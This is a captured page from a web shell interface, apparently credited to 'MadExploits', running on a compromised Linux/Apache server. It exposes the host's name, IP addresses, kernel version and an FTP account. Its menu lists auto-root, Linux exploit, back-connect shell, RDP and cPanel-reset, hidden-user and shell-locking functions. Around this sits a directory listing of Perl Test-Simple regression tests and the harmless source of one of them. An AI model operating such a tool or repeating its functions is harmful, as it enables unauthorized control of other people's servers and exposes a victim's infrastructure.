Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-Test-Simple /
t /
regression /
[ HOME SHELL ]
Name
Size
Permission
Action
642_persistent_end.t
445
B
-rw-r--r--
662-tbt-no-plan.t
564
B
-rw-r--r--
684-nested_todo_diag.t
520
B
-rw-r--r--
694_note_diag_return_values.t
401
B
-rw-r--r--
696-intercept_skip_all.t
1005
B
-rw-r--r--
721-nested-streamed-subtest.t
2.89
KB
-rw-r--r--
757-reset_in_subtest.t
289
B
-rw-r--r--
buffered_subtest_plan_buffered...
624
B
-rw-r--r--
builder_does_not_init.t
362
B
-rw-r--r--
errors_facet.t
985
B
-rw-r--r--
inherit_trace.t
548
B
-rw-r--r--
no_name_in_subtest.t
135
B
-rw-r--r--
todo_and_facets.t
906
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : errors_facet.t
use Test2::Tools::Tiny; use Test2::API qw/intercept context/; { $INC{'My/Event.pm'} = 1; package My::Event; use base 'Test2::Event'; use Test2::Util::Facets2Legacy ':ALL'; sub facet_data { my $self = shift; my $out = $self->common_facet_data; $out->{errors} = [{tag => 'OOPS', fail => !$ENV{FAILURE_DO_PASS}, details => "An error occured"}]; return $out; } } sub error { my $ctx = context(); my $e = $ctx->send_event('+My::Event'); $ctx->release; return $e; } my $events = intercept { tests foo => sub { ok(1, "need at least 1 assertion"); error(); }; }; ok(!$events->[0]->pass, "Subtest did not pass"); my ($passing_a, $passing_b); intercept { my $hub = Test2::API::test2_stack->top; $passing_a = $hub->is_passing; error(); $passing_b = $hub->is_passing; }; ok($passing_a, "Passign before error"); ok(!$passing_b, "Not passing after error"); done_testing;
Close